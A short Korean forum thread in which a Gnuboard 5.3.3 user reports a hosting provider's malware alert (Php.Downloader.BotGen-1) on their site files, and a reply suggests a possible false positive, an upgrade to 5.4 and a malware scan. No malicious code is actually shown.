파일 바이러스 감염
본문
그누보드 5.3.3 버전을 해외 호스팅 업체의 서버에서 사용하고 있습니다.
실제 사용하려고 테스트 중이었는데 파일에 바이스러스(Php.Downloader.BotGen-1)가 감염되었다고 메일이 와서 확인해보니 정말 이상한 코드가 포함되어 있더군요. 해당 업체에 따르면 제사 사용하는 CMS가 보안이 취약하다고 하는데 어최신 버전은 이런 문제가 없는지요?

오진 같은데요?
어떤 코드가 보안에 취약한지 메일을 보내보세요.
그리고 해외 호스팅 사용시 언어셋 차이에 따른 바이러스 오진결과가 나오기도 합니다.
그누보드5.4 사용하시면 문제가 없을 겁니다.
해당 서버에 PHP Malware Scanner 를 이용해 점검을 한번 해 보세요.

실제로 파일을 열어 봤는데 아래와 같은 코드가 추가되어 있는 것을 볼수 있었습니다.
